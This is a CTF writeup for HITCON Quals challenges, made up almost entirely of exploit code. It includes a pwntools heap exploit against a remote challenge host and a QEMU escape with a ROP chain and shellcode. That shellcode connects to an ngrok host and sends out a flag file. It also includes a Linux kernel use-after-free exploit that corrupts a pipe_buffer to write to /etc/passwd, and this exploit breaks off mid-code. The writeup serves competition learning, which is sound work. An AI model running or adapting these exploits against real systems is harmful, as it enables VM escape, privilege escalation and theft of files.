# HITCON Quals Writeup

## HITOJ - Level 1

import socket
import random

# Create a UDP socket
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_IP)

# Bind the socket to a specific address and port
server_address = ("0.0.0.0", 321)

try:
    sock.bind(server_address)
except OSError as e:
    if e.errno == socket.errno.EACCES:
        print("Permission denied")
    else:
        print("Error:", e)

# Define the target IP and port
target_ip = "172.12.34.56"  # Replace with the actual target IP
target_port = 1337

# Generate 256 random bytes
random_data = bytes([random.randint(0, 0) for _ in range(256)])

print("Sent data:", random_data)
# Send the random data to the target IP and port
sock.sendto(random_data, (target_ip, target_port))

# Receive data from the target IP and port
received_data, sender_address = sock.recvfrom(256)

# Close the socket when done
sock.close()

# Process the received data (in this example, we just print it)
print("Received data:", received_data)

## Full Chain - The Blade

s1 = b" !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_"
s2 = b"?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~"

perm = [0, 38, 1, 3, 27, 5, 49, 40, 16, 11, 4, 22, 56, 60, 14, 10, 42, 50, 18, 2, 17, 21, 12, 25, 30, 47, 26, 57, 24, 29, 9, 31, 32, 33, 34, 6, 36, 63, 39, 19, 53, 35, 51, 43, 23, 45, 8, 52, 28, 62, 13, 46, 44, 59, 37, 55, 54, 15, 58, 20, 48, 61, 41, 7]

s1_enc = [0x96,0x20,0x5e,0x3f,0xff,0xd6,0x7a,0x13,
0x52,0xb6,0x4d,0xec,0x2a,0x27,0x29,0xe7,
0xd7,0x23,0x38,0xad,0x15,0xd3,0xc4,0x87,
0x22,0x97,0x84,0xfa,0xca,0x25,0x76,0xbb,
0xc0,0xfc,0x6c,0xd0,0x88,0x9a,0x0a,0x10,
0x55,0xcb,0x86,0x6a,0x92,0xba,0x9e,0x9d,
0x1a,0xd5,0x80,0x78,0xf6,0xac,0x26,0xa4,
0x66,0x4a,0x3b,0x09,0x36,0x64,0xe4,0x89]

s2_enc = [0xbb,0xee,0xc0,0x6c,0x3b,0x88,0xe9,0xc2,
0x97,0xd7,0xcb,0x55,0x1d,0xd9,0xba,0xe4,
0xb9,0x2b,0x7a,0xfc,0x36,0x9d,0x6a,0x2a,
0x64,0xfb,0xfa,0x53,0xa4,0x27,0x13,0xd5,
0x9a,0xd1,0xc3,0x26,0x0e,0x33,0xe0,0x23,
0xa8,0x14,0x7e,0x68,0x66,0x3d,0x0a,0xbd,
0xac,0x5c,0xf6,0x50,0x01,0x5b,0x69,0xae,
0xbe,0x78,0x62,0x86,0x67,0xb3,0x12,0x20]

s1_map = {}
for i in range(len(s1)):
    s1_map[s1[perm[i]]] = s1_enc[i]

s2_map = {}
for i in range(len(s2)):
    s2_map[s2[perm[i]]] = s2_enc[i]

s_map = s1_map | s2_map
print(s_map)

data = open('blade', "rb").read()

import struct
start = 0x61b20

chunks = []
for _ in range(8):
    nums = []
    for i in range(64):
        nums.append(struct.unpack('<Q', data[start:start+8])[0])
        start += 8
    chunks.append(nums)

orig = list(range(64))

for _ in range(0x100):
    for chunk in chunks:
        for i in range(64):
            tmp = orig[63 - i]
            orig[63 - i] = orig[chunk[i]]
            orig[chunk[i]] = tmp

print(orig) # this is perm

Final script:

perm = [0, 38, 1, 3, 27, 5, 49, 40, 16, 11, 4, 22, 56, 60, 14, 10, 42, 50, 18, 2, 17, 21, 12, 25, 30, 47, 26, 57, 24, 29, 9, 31, 32, 33, 34, 6, 36, 63, 39, 19, 53, 35, 51, 43, 23, 45, 8, 52, 28, 62, 13, 46, 44, 59, 37, 55, 54, 15, 58, 20, 48, 61, 41, 7]

s_map = {32: 150, 70: 32, 33: 94, 35: 63, 59: 255, 37: 214, 81: 122, 72: 19, 48: 82, 43: 182, 36: 77, 54: 236, 88: 42, 92: 39, 46: 41, 42: 231, 74: 215, 82: 35, 50: 56, 34: 173, 49: 21, 53: 211, 44: 196, 57: 135, 62: 34, 79: 151, 58: 132, 89: 250, 56: 202, 61: 37, 41: 118, 63: 187, 64: 192, 65: 252, 66: 108, 38: 208, 68: 136, 95: 154, 71: 10, 51: 16, 85: 85, 67: 203, 83: 134, 75: 106, 55: 146, 77: 186, 40: 158, 84: 157, 60: 26, 94: 213, 45: 128, 78: 120, 76: 246, 91: 172, 69: 38, 87: 164, 86: 102, 47: 74, 90: 59, 52: 9, 80: 54, 93: 100, 73: 228, 39: 137, 101: 238, 112: 233, 103: 194, 119: 29, 123: 217, 105: 185, 113: 43, 110: 251, 120: 83, 96: 209, 97: 195, 99: 14, 126: 51, 102: 224, 116: 168, 98: 20, 114: 126, 106: 104, 108: 61, 115: 189, 125: 92, 109: 80, 107: 1, 122: 91, 100: 105, 118: 174, 117: 190, 121: 98, 111: 103, 124: 179, 104: 18}

inv_s_map = {v: k for k, v in s_map.items()}

def encrypt(input):
    # input is 64 bytes
    out = bytearray(64)
    for i in range(64):
        out[i] = s_map[input[perm[i]]]
    return bytes(out)

def decrypt(input):
    # input is 64 bytes
    out = bytearray(64)
    for i in range(64):
        out[perm[i]] = inv_s_map[input[i]]
    return bytes(out)

r12 = 1179403647
r13 = 1953460082
r14 = 838042399
def undo_ops(eax):
    eax = (eax ^ r14) & 0xffffffff
    eax = (~eax) & 0xffffffff
    eax = ((eax << 0xb) | (eax >> (32 - 0xb))) & 0xffffffff
    eax = eax ^ r13
    eax = (eax - r12) & 0xffffffff
    return eax

data = open('blade', "rb").read()
start = 0x60010

dec = b''
for i in range(16):
    a = int.from_bytes(data[start:start+4], "little")
    start += 4
    b = undo_ops(a)
    b = b.to_bytes(4, "little")
    dec += b

print(dec)
print(decrypt(dec))

## CrazyArcade

int __fastcall sub_1400030A0(__int64 a1)
{
  int *v2; // rax
  unsigned int v3; // ecx
  DWORD v5[2]; // [rsp+40h] [rbp-88h] BYREF
  DWORD BytesReturned; // [rsp+48h] [rbp-80h] BYREF
  st1 OutBuffer; // [rsp+50h] [rbp-78h] BYREF
  st1 InBuffer; // [rsp+80h] [rbp-48h] BYREF

  sub_140003850(a1, v5);
  v2 = dword_1400162E0;
  if ( dword_1400162E0[15 * v5[1] + v5[0]] == 5 )
  {
    if ( byte_140014038 )
      LODWORD(v2) = Mix_PlayChannel(1i64, qword_1400162D0, 0i64);
    v3 = g_unk_count;
    *(_BYTE *)(a1 + 20) = 1;
    if ( v3 < 0x1337 )
    {
      OutBuffer.size = 1;
      OutBuffer.p1_00 = 0i64;
      memset(OutBuffer.data, 0, sizeof(OutBuffer.data));
      OutBuffer.offset = 0i64;
      OutBuffer.addr = g_kernel_module + 0x3000 + v3 % 37;
      // read
      DeviceIoControl(hDevice, 0x80002048, &OutBuffer, 0x30u, &OutBuffer, 0x30u, &BytesReturned, 0i64);
      *(_OWORD *)&InBuffer.data[4] = 0i64;
      InBuffer.p1_00 = 0i64;
      InBuffer.offset = 0i64;
      InBuffer.size = 1;
      InBuffer.addr = g_unk_count % 37u + g_kernel_module + 0x3000;
      *(_DWORD *)InBuffer.data = (unsigned __int8)(g_unk_count ^ OutBuffer.data[0]) ^ (unsigned __int8)g_code[g_unk_count % 1412u];
      // write
      LODWORD(v2) = DeviceIoControl(hDevice, 0x8000204C, &InBuffer, 0x30u, &InBuffer, 0x30u, v5, 0i64);
      ++g_unk_count;
    }
  }
  return (int)v2;
}

b = bytearray.fromhex(
    'B78A197F542D81F0B8DDCAC9D3C32332BA4181AB0253C92ED67E20ADABED95D2B6E72A923E')
code = bytes.fromhex('488954241053574883ec48488bfa33db895f3048895f38488b87b80000004c8b57188b5010448b480880380e0f853b0500008b40180500e0ff7f83f8540f87230500004c8d0586050000490fb604004c8d052e050000496304804c8d05050000004903c0ffe083fa30755f498b4a084885c9744a418b421883e801742583e801741283e8027527418b42148b04084189421ceb1a418b42140fb704084189421ceb0c418b42140fb604084189421c895f3048c7473830000000e9af040000c747300d0000c0e9a3040000c747300d0000c0e99704000083fa30755f498b52084885d2744a418b421883e801742683e801741283e8027527418b4a14418b421c890411eb1a418b4a1466418b421c66890411eb0b418b4a14418a421c880411895f3048c7473830000000e93f040000c747309a0000c0e933040000c747300d0000c0e92704000083fa307528498bcae8fdfdffff89473085c07c0d48c7473830000000e906040000c747309a0000c0e9fa030000c747300d0000c0e9ee03000083fa307527498b4a084885c97412418b5210ff15710a0000895f30e9ce030000c747300d0000c0e9c2030000c747300d0000c0e9b6030000448bc2498bd2e80efbffff89473085c07c0eb80800000048894738e996030000c747300d0000c0e98a03000083fa08721b498b1248b9ffffffffffffffffff15050a0000894730e96a030000c74730010000c0e95e03000083fa08751d66418b12ec0fbec041894204895f30b80800000048894738e93c030000c747300d0000c0e93003000083fa08751e66418b1266ed0fb7c041894204895f30b80800000048894738e90d030000c747300d0000c0e90103000083fa08751a66418b12ed41894204895f30b80800000048894738e9e2020000c747300d0000c0e9d602000083fa087536418b5204418b0ae828fdffff84c0750cc747300d0000c0e9b502000066418b12418a4204ee895f30b80800000048894738e99b020000c747300d0000c0e98f02000083fa087538418b5204418b0ae8e1fcffff84c0750cc747300d0000c0e96e02000066418b1266418b420466ef895f30b80800000048894738e952020000c747300d0000c0e94602000083fa087536418b5204418b0ae898fcffff84c0750cc747300d0000c0e92502000066418b12418b4204ef895f30b80800000048894738e90b020000c747300d0000c0e9ff01000083fa08751c41c70201000000b80800000041894204895f3048894738e9de010000c747300d0000c0e9d201000083fa087535418b028b0d5b1800003d000000800f45c8890d4d18000041034a04890d4318000041890a895f30b80800000048894738e998010000c747300d0000c0e98c01000083fa0c7544418b0a0f328bca48c1e120480bc848894c243048c1e92041894a048b44243041894208895f3048c747380c000000e954010000488b7c2468c747300d0000c0e943010000c747300d0000c0e93701000083fa0c753c418b420448c1e020418b4a08480bc1488bd048c1ea20418b0a0f30895f3048c747380c000000e907010000488b7c2468c747300d0000c0e9f6000000c747300d0000c0e9ea00000083fa18755d418b4a1085c9744983f90477444d8d4a14458b42084183e00741c1e005418b420483e01f440bc0894c2428418b420c89442420418b12b904000000ff15ef060000895f3048c7473818000000e994000000c747300d0000c0e988000000c747300d0000c0eb7f83fa18756a418b4a1085c9745983f9047754418b520c83fa10720e83fa277709c747300d0000c0eb564d8d4a14458b42084183e00741c1e005418b420483e01f440bc0894c242889542420418b12b904000000ff1579060000895f3048c7473818000000eb19c747300d0000c0eb10c747300d0000c0eb07c747300d0000c08b5f3032d2488bcfff15b50600008bc34883c4485f5bc3')


for i in range(0x1337):
    b[i % 37] = ((i ^ b[i % 37]) ^ code[i % 1412]) & 0xFF

print(b.decode())

## LessEQualmore
Oveflow jump pointer table by providing large input.
When you can interpret your own program you achieve out of bound read, write.
With out of bound add, you can directly corrupt the file structure and use house of apple technique to achieve code execution.

from pwn import *

code = []

def add(x):
    global code
    code.append(x)

def conv(x):
    res = hex(x)[2:]
    res = res.rjust(16, '0')
    return "%x" + res 

def read(where):
    add(conv(where // 8))
    add(conv(0x8000000000000001))
    add(conv(3))

def write(where, what):
    add(conv(what))
    add(conv(where // 8))
    add(conv(3))

def write1(where):
    add(conv(0x8000000000000001))
    add(conv(where // 8))
    add(conv(3))

r = remote("chal-lessequalmore.chal.hitconctf.com", 11111)

#r = gdb.debug(["./lessequalmore", "./chal.txt", ])
r.recvuntil(b"***\n")
begin = 0x00000000fbad2887
write1(0x29e810) #0xcc0
write1(0x29e730) #0xe20
write1(0x29e718) #0xffffffffffe35300
write1(0x29e848) #0xfffffffffffffac0
write1(0x29e778) #0x67778ddf6e
write1(0x29e770) #0x67778ddf6e

write1(0x300) #0xfffffffffffffac0
read(0x300)
add(conv(0))
add(conv(0))
add(conv(0xffffffff))

if len(code) < 1042:
    for i in range(0, 1042 - len(code)):
        code.append(conv(0x10))
else:
    print("Too large")
    exit(0)

code.append(conv(0x10))
for i in code:
    r.sendline(i)
r.sendline(conv(0xcc0))
r.sendline(conv(0xe20))
r.sendline(conv(0xffffffffffe35300))
r.sendline(conv(0xfffffffffffffac0))
r.sendline(conv(0xfd))
r.sendline(conv(0x2a207461633b07f5 - begin))
r.recvuntil("hitcon")
print(r.recv(100))
r.interactive()

## Full chain - Maria
Use oob read to get opaque pointer, then do a rop chain by overwriting MemoryRegionOps.

#include <assert.h>
#include <fcntl.h>
#include <stdio.h>
#include <stddef.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h> 
#include <sys/mman.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netdb.h>
#define true 1
#define false 0

// Address of the mmio region in physical memory
#define MMIO_PHYSADDR 0xfebd0000
#define DMABUF_SIZE 0x1000
#define MMIO_SIZE 0x1000

volatile int result;



static void die(const char* msg)
{
    perror(msg);
    exit(-1);
}

#define WAIT(void) {getc(stdin); \
                    fflush(stdin);}
#define errExit(msg) do { perror(msg); exit(EXIT_FAILURE); \
                        } while (0)

static void hexdump8(uint64_t* buf, int len)
{
    assert(len % 0x8 == 0);
    for (int i = 1; i <= len / 8; i++) {
        printf("0x%016llx ", buf[i-1]);
        if (i % 0x2 == 0) {
            printf("\n");
        }
    }

    printf("\n");
}

// See https://www.kernel.org/doc/Documentation/vm/pagemap.txt
static uint64_t virt2phys(void* p, int has_to_be_present)
{
    uint64_t virt = (uint64_t)p;
    uint32_t saved_offset = virt & 0xfff;
    virt -= saved_offset;

    // Assert page alignment
    assert((virt & 0xfff) == 0);

    int fd = open("/proc/self/pagemap", O_RDONLY);
    if (fd == -1)
        die("open");

    uint64_t offset = (virt / 0x1000) * 8;
    lseek(fd, offset, SEEK_SET);

    uint64_t phys;
    if (read(fd, &phys, 8 ) != 8)
        die("read");

    // Assert page present
    assert((!has_to_be_present) || phys & (1ULL << 63));

    phys = (phys & ((1ULL << 54) - 1)) * 0x1000;
    return phys + saved_offset;
}

#define TRIGGER 0x0
#define GET_SRC 0x04
#define GET_OFF 0x8

static uint32_t maria_read(volatile uint32_t* mmio, uint32_t src, uint32_t off)
{
    mmio[1] = src;
    mmio[2] = off;

    uint32_t resp = mmio[0];
    return resp;
}

static uint32_t maria_write(volatile uint32_t* mmio, uint32_t src, uint32_t off)
{
    mmio[1] = src;
    mmio[2] = off;
    mmio[0] = 0;
}

uint8_t * global_buff;

void *
alloc_workbuf(size_t size)
{
 void *ptr;
 int retval;
 /* 
  * alloc memory aligned to a page, to prevent two mlock() in the
  * same page.
  */
 retval = posix_memalign(&ptr, (size_t) sysconf(_SC_PAGESIZE), size);

 /* return NULL on failure */
 if (retval)
  return NULL;

 /* lock this buffer into RAM */
 if (mlock(ptr, size)) {
  free(ptr);
  return NULL;
 }
 return ptr;
}

void 
free_workbuf(void *ptr, size_t size)
{
 /* unlock the address range */
 munlock(ptr, size);

 /* free the memory */
 free(ptr);
}
void set_ip() {
    struct hostent *he;
    uint16_t buf[0x10];
    uint8_t addr[0x20];
    memset(buf, 0, sizeof buf);
    buf[0] = AF_INET;
    buf[1] = htons(10824);
    he = gethostbyname("0.tcp.ap.ngrok.io");
    *( (struct in_addr *)(&buf[2]) ) = *((struct in_addr *) he->h_addr_list[0]);
    memcpy(&global_buff[0x800], buf, 0x10);
}

char shellcode[] = "\x4C\x8B\x84\x24\x70\x0F\x00\x00\x48\xC7\xC0\x29\x00\x00\x00\x48\xC7\xC7\x02\x00\x00\x00\x48\xC7\xC6\x01\x00\x00\x00\x48\xC7\xC2\x00\x00\x00\x00\x0F\x05\x49\x89\xC1\x48\xC7\xC0\x2A\x00\x00\x00\x4C\x89\xCF\x49\x8D\xB0\x00\x08\x00\x00\x48\xC7\xC2\x10\x00\x00\x00\x0F\x05\x48\xC7\xC0\x02\x00\x00\x00\x49\x8D\xB8\x00\x09\x00\x00\x48\xC7\xC6\x00\x00\x00\x00\x48\xC7\xC2\x00\x00\x00\x00\x0F\x05\x48\x89\xC7\x48\xC7\xC0\x00\x00\x00\x00\x49\x8D\xB0\x60\x09\x00\x00\x48\xC7\xC2\x00\x01\x00\x00\x0F\x05\x48\xC7\xC0\x01\x00\x00\x00\x4C\x89\xCF\x0F\x05";
int main(void)
{
    // mmio registers
    // int fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0",
    //              O_RDWR | O_SYNC, 0);
    int fd = open("/dev/mem", O_RDWR | O_SYNC);

    if (fd < 0) {
        errExit("open /dev/mem");
    }

    volatile uint32_t *mmio = mmap(NULL, MMIO_SIZE, PROT_READ | PROT_WRITE,
                                      MAP_SHARED, fd, MMIO_PHYSADDR);

    if (mmio == MAP_FAILED) {
        errExit("mmio mmap");
    }
    global_buff = alloc_workbuf(0x1000);

    if (global_buff == NULL) {
        errExit("error global buff");
    }
    printf("Physical address: 0x%llx\n", virt2phys(global_buff, true));
    global_buff[0x100] = 0x41;
    maria_write(mmio, virt2phys(global_buff, true), 0);
    memset(global_buff,0, 0x1000);
    uint32_t ret = maria_read(mmio, virt2phys(global_buff, true) - 0x1000, 11 * 8);
    uint64_t * tmp_buf = (uint64_t *)global_buff;
    uint64_t qemu_addr = *(((uint64_t *)(&global_buff[0x1000 - 0x10]) ));
    uint64_t base = qemu_addr - 0xf1ff80;
    uint64_t opaque = *(((uint64_t *)(&global_buff[0x1000 - 0x8]) ));
    uint64_t buf_addr = opaque + 0xa30;
    uint64_t syscall = base + 0x4a22ec;
    uint64_t pop_rdi = base + 0x0000000000632c5d;
    uint64_t pop_rsi = base + 0x00000000004d4db3;
    uint64_t pop_rdx = base + 0x000000000047f5c8;
    uint64_t pop_rcx = base + 0x0000000000383ec0;
    uint64_t pop_rax = base + 0x00000000003643a4;
    uint64_t pop_rsi_rbp = base + 0x0000000000353c13;
    printf("Res: %lx \n", ret);
    printf("qemu: 0x%llx\n", qemu_addr);
    printf("opaque: 0x%llx\n", opaque);

    *(((uint64_t *)(&global_buff[0x1000 - 8]) )) = buf_addr + 0x1020 + 0x50 - 8;
    *(((uint64_t *)(&global_buff[0x1000 - 0x10]) )) = buf_addr + 0x1010 + 0x50 - 8;
    *(((uint64_t *)(&global_buff[0]) )) = base + 0x00000000009b5e5a;
    *(((uint64_t *)(&global_buff[8]) )) = base + 0x00000000009b5e5a;
    *(((uint64_t *)(&global_buff[0x18]) )) = pop_rdi;
    *(((uint64_t *)(&global_buff[0x20]) )) = (buf_addr >> 12) << 12;
    *(((uint64_t *)(&global_buff[0x28]) )) = pop_rsi_rbp;
    *(((uint64_t *)(&global_buff[0x30]) )) = 0x4000;
    *(((uint64_t *)(&global_buff[0x38]) )) = base + 0x00000000009b5e5a;
    *(((uint64_t *)(&global_buff[0x40]) )) = pop_rdx;
    *(((uint64_t *)(&global_buff[0x48]) )) = 7;
    *(((uint64_t *)(&global_buff[0x50]) )) = pop_rax;
    *(((uint64_t *)(&global_buff[0x58]) )) = 10;
    *(((uint64_t *)(&global_buff[0x60]) )) = pop_rcx;  
    *(((uint64_t *)(&global_buff[0x68]) )) = buf_addr + 0x1010 + 0x50 - 8;
    *(((uint64_t *)(&global_buff[0x70]) )) = syscall;
    *(((uint64_t *)(&global_buff[0x78]) )) = buf_addr + 0x1010 + 0x50 - 8 + 0xa0;
    *(((uint64_t *)(&global_buff[0x98]) )) = base + 0x00000000009b5e5a;
    set_ip();
    memcpy(&global_buff[0x900], "/home/user/flag\0", 15);
    memcpy(&global_buff[0xa0], shellcode, sizeof shellcode);
    printf("Physical address: 0x%llx\n", virt2phys(global_buff, true));
    maria_write(mmio, virt2phys(global_buff, true) - 0x1000, 11 * 8);
    mmio[2] = 0;
    return 0;
}

## Full chain - Wall Rose

See comments and code for exploit.

#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/timerfd.h>
#include <sys/msg.h>
#include <fcntl.h>
#include <stdint.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <linux/keyctl.h>
#include <limits.h>
#include <stdarg.h>
#include <sys/xattr.h>
#include <stdlib.h>
#include <stdbool.h>
#include <sched.h>
#include <errno.h>
#include <sys/wait.h>
#include <sys/prctl.h>
#include <sys/resource.h>
#include <sys/msg.h>
#include <sys/timerfd.h>

#define DEV_PATH "/dev/rose"   // the path the device is placed

#define ulong unsigned long
#define PAGE_SZ 0x1000
#define FAULT_ADDR 0xdead0000
#define FAULT_OFFSET PAGE
#define MMAP_SIZE 4*PAGE
#define FAULT_SIZE MMAP_SIZE - FAULT_OFFSET
#define ARRAY_SIZE(a) (sizeof((a)) / sizeof((a)[0]))
#define HEAP_MASK 0xffff000000000000
#define KERNEL_MASK 0xffffffff00000000

#define WAIT(void) {getc(stdin); \
                    fflush(stdin);}
#define errExit(msg) do { perror(msg); exit(EXIT_FAILURE); \
                        } while (0)

#define KMALLOC(qid, msgbuf, N) for(int ix=0; ix!=N; ++ix){\
                        if(msgsnd(qid, &msgbuf, sizeof(msgbuf.mtext) - 0x30, 0) == -1) \
                            errExit("KMALLOC"); \
                        }


int pipes[0x1000][0x02];
int qids[0x1000];
int keys[0x1000];
int seq_ops[0x10000];
int ptmx[0x1000];
int n_keys;

typedef struct msg_msg_seg msg_msg_seg_t;
struct msg_msg_seg {
    msg_msg_seg_t* next;
};

struct rcu_head {
    void *next;
    void *func;
};

typedef struct msg_msg {
    struct rcu_head m_list;
    long m_type;
    size_t m_ts;      /* message text size */
    struct msg_msgseg *next;
    void *security;
    /* the actual message follows immediately */
} msg_msg_t;

// size = 40
typedef struct
{
    uint64_t page;
    uint32_t offset;
    uint32_t len;
    uint64_t ops;
    uint32_t flags;
    uint32_t padding;
    uint64_t private;
}pipe_buf_t;

struct user_key_payload {
    struct rcu_head rcu;
    unsigned short datalen;
    char *data[];
};

typedef struct {
    long kaslr_base;
    long physmap_base;
} leak_t;

typedef int32_t key_serial_t;

static void alloc_qid(int i) {
    qids[i] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
    if (qids[i] < 0) {
        errExit("[X] msgget");
    }
}

static void send_msg(int qid, int c, int size, long type)
{
    struct msgbuf
    {
        long mtype;
        char mtext[size - sizeof(msg_msg_t)];
    } msg;

    if (!type) {
        msg.mtype = 0xffff;
    }
    else {
        msg.mtype = type;
    }

    memset(msg.mtext, c, sizeof(msg.mtext));

    if (msgsnd(qid, &msg, sizeof(msg.mtext), IPC_NOWAIT) < 0)
    {
        errExit("msgsnd");
    }
}

static void send_msg_payload(int qid, char* buf, int size, long type)
{
    int off = sizeof(msg_msg_t);
    if (size > PAGE_SZ) {
        off += sizeof(msg_msg_seg_t);
    }

    struct msgbuf
    {
        long mtype;
        char mtext[size - off];
    } msg;

    memcpy(msg.mtext, buf, sizeof(msg.mtext));

    if (!type) {
        msg.mtype = 0xffff;
    }
    else {
        msg.mtype = type;
    }

    if (msgsnd(qid, &msg, sizeof(msg.mtext), IPC_NOWAIT) < 0)
    {
        errExit("msgsnd");
    }
}

static void recv_msg(int qid, void* data, size_t sz)
{
    int ret;
    struct msg_buf
    {
        long mtype;
        char mtext[sz - 0x30];
    } msg;

    ret = msgrcv(qid, &msg, sz - 0x30, 0xffff, IPC_NOWAIT);

    memmove(data, msg.mtext, sizeof(msg.mtext));

    if (ret < 0) {
        errExit("msgrcv");
    }
}

static void print_hex8(void* buf, size_t len)
{
    uint64_t* tmp = (uint64_t*)buf;

    for (int i = 0; i < (len / 8); i++) {
        printf("%d: %p ", i, tmp[i]);
        if ((i + 1) % 2 == 0) {
            printf("\n");
        }
    }

    printf("\n");
}

static void alloc_tty(int i) {
    ptmx[i] = open("/dev/ptmx", O_RDWR | O_NOCTTY);

    if (ptmx[i] < 0) {
        errExit("[X] alloc_tty");
    }
}

static void free_tty(int i) {
    if (close(ptmx[i]) < 0) {
        errExit("[X] free tty");
    }
}

static bool is_kernel_ptr(uint64_t val)
{
    return (val & KERNEL_MASK) == KERNEL_MASK
        && val != 0xffffffffffffffff;
}

static bool is_heap_ptr(uint64_t val)
{
    return (val & HEAP_MASK) == HEAP_MASK
        && (val & KERNEL_MASK) != KERNEL_MASK
        && val != 0xffffffffffffffff;
}

void info(const char *format, ...) {
    va_list args;
    va_start(args, format);

    printf("[+] ");
    vprintf(format, args);

    va_end(args);
}

void error(const char *format, ...) {
    va_list args;
    va_start(args, format);

    printf("[x] ");
    vprintf(format, args);

    va_end(args);
}

static inline key_serial_t add_key(const char *type, const char *description, const void *payload, size_t plen, key_serial_t ringid) {
    long ret = syscall(__NR_add_key, type, description, payload, plen, ringid);
    if (ret < 0) {
        errExit("add_key");
    }
}

static inline long keyctl(int operation, unsigned long arg2, unsigned long arg3, unsigned long arg4, unsigned long arg5) {
    return syscall(__NR_keyctl, operation, arg2, arg3, arg4, arg5);
}

static long free_key(key_serial_t key) {

    long ret = keyctl(KEYCTL_REVOKE, key, 0, 0, 0);

    if (ret < 0) {
        errExit("keyctl revoke");
    }

    ret = keyctl(KEYCTL_UNLINK, key, KEY_SPEC_PROCESS_KEYRING, 0, 0);

    if (ret < 0) {
        errExit("keyctl unlink");
    }
}

static int alloc_key(int id, char *buf, size_t size)
{
    char desc[0x400] = { 0 };
    char payload[0x400] = {0};
    int key;

    size -= sizeof(struct user_key_payload);

    sprintf(desc, "payload_%d", id);

    if (!buf) {
        memset(payload, 0x41, size);
    }
    else {
        memcpy(payload, buf, size);
    }

    key = add_key("user", desc, payload, size, KEY_SPEC_PROCESS_KEYRING);

    if (key < 0)
	{
        errExit("add_key");
	}

    return key;
}

void alloc_pipe_buf(int i)
{
    if (pipe(pipes[i]) < 0) {
        perror("[X] alloc_pipe_buff()");
        return;
    }
}

void release_pipe_buf(int i)
{
    if (close(pipes[i][0]) < 0) {
        errExit("[X] release_pipe_buf");
    }

    if (close(pipes[i][1]) < 0) {
        errExit("[X] release_pipe_buf");
    }
}

int main(int argc, char** argv)
{
    int fd1;
    int fd2;
    int fd3;
    int fd4;
    int ret;
    uint8_t buf[0x10000];

    for (int i = 0x0; i < 0x10; i++) {
        alloc_pipe_buf(i);
        write(pipes[i][1], "hello", 5);
    }

    fd1 = open(DEV_PATH, O_RDONLY);
    fd2 = open(DEV_PATH, O_RDONLY);

    if (fd1 < 0 || fd2 < 0) {
        errExit("open");
    }

    close(fd1);

    info("spraying userkey structs \n");

    // allocated user_key_payload in place of freed struct
    for (int i = 0; i < 0x10; i++) {
        keys[i] = alloc_key(n_keys++, 0, 800);
    }

    info("closing second fd \n");
    // free user_key_payload
    close(fd2);

    info("Spraying msg ojects \n");
    // spray msg objects, corrupt userkey payload
    for (int i = 0; i < 0x40;i++) {
        alloc_qid(i);
        send_msg(qids[i], 0xff, 0x400, 0);
    }

    memset(buf, 0x0, sizeof(buf));
    uint64_t* p_buf = (uint64_t*)buf;

    int fd_passwd = open("/etc/passwd", O_RDONLY);
    if (fd_passwd < 0) {
        errExit("open /etc/passwd");
    }

    // call splice on the initial sprayed pipes, causing file-backed pipe_buffer to be allocated.
    // we will leak these pointers later
    for (int i = 0; i < 0x10; i++) {
        ret = splice(fd_passwd, NULL, pipes[i][1], NULL, 1 ,0);
        if (ret  < 0) {
            errExit("splice");
        }
    }

    // search corrupted user_key_payload for oor
    int corrupted_userkey = 0x0;
    for (int i = 0; i < 0x10; i++) {
        ret = keyctl(KEYCTL_READ, keys[i], buf, sizeof(buf), 0);
        if (ret == sizeof(buf)-1) {
            corrupted_userkey = i;
            info("Found corrupted userkey payload \n");
            break;
        }
        if (ret < 0) {
            errExit("keyctl read");
        }
    }

    // search file backed pipe_buffer struct
    int pipe_idx = 0x0;
    for (int i = 0; i < sizeof(buf) / sizeof(uint64_t); i++) {
        pipe_buf_t* initial_buf = (pipe_buf_t*)&p_buf[i];
        pipe_buf_t* file_backed_buf = (pipe_buf_t*)&p_buf[i+5];
        if (is_heap_ptr(initial_buf->page) && is_kernel_ptr(initial_buf->ops) &&
            is_heap_ptr(file_backed_buf->page) && is_kernel_ptr(file_backed_buf->ops)) {

            // len == 5 because alloc_pipe_buf writes 5 bytes to pipe
            if (initial_buf->len == 5 && initial_buf->flags == 0x10 && file_backed_buf->flags == 0) {
                pipe_idx = i+5;
                print_hex8(initial_buf, 0x50);
                break;
            }
        }
    }

    if (pipe_idx == 0x0) {
        printf("Unable to find pipe \n");
        return 0;
    }

    for (int i = 0; i < 0x10; i++) {
        if (i != corrupted_userkey) {
            free_key(keys[i]);
        }
    }

    fd3 = open(DEV_PATH, O_RDONLY);
    fd4 = open(DEV_PATH, O_RDONLY);

    if (fd3 < 0  || fd4 < 0) {
        errExit("fd3 / fd4");
    }

    close(fd3);

    for (int i = 0x10; i < 0x20; i++) {
        alloc_pipe_buf(i);
        write(pipes[i][1], "hello", 5);
    }

    // create more file backed pipe_bufs, one of them we will corrupt
    for (int i = 0x10; i < 0x20; i++) {
        ret = splice(fd_passwd, NULL, pipes[i][1], NULL, 1 ,0);
        if (ret  < 0 || ret == 0) {
            errExit("splice");
        }
    }

    pipe_buf_t *pipe = (pipe_buf_t*)&p_buf[pipe_idx];
    info("Pipe data: %p %p %lx \n", pipe->page, pipe->ops, pipe->flags);

    // set PIPE_BUF_FLAG_CAN_MERGE flag on file backed pipe_buf
    pipe->flags = 0x10;
    pipe->len = 0x0;
    pipe->offset = 0x0;

    // UAF pipe buf
    close(fd4);

    char msg_msg_buf[0x2000] = {0};

    /*** Method 1: corrupt using msg_msg struct ***/
    // -4 since the first 8 byte will be written by msg_msg_seg->next
    memcpy(&msg_msg_buf[PAGE_SZ - sizeof(msg_msg_t)], &p_buf[pipe_idx-4], 0x100);
    for (int i = 0x40; i < 0x50; i++) {
        alloc_qid(i);
        //send_msg(qids[i], 0x41, 0x400, 0);
        send_msg_payload(qids[i], msg_msg_buf, PAGE_SZ + 0x400, 0x0);
    }

    /*** Method 2: corrupt using user_key_payload struct ***/
    /*
    for (int i = 0x0; i < 0x10; i++) {
        if (i == corrupted_userkey) {
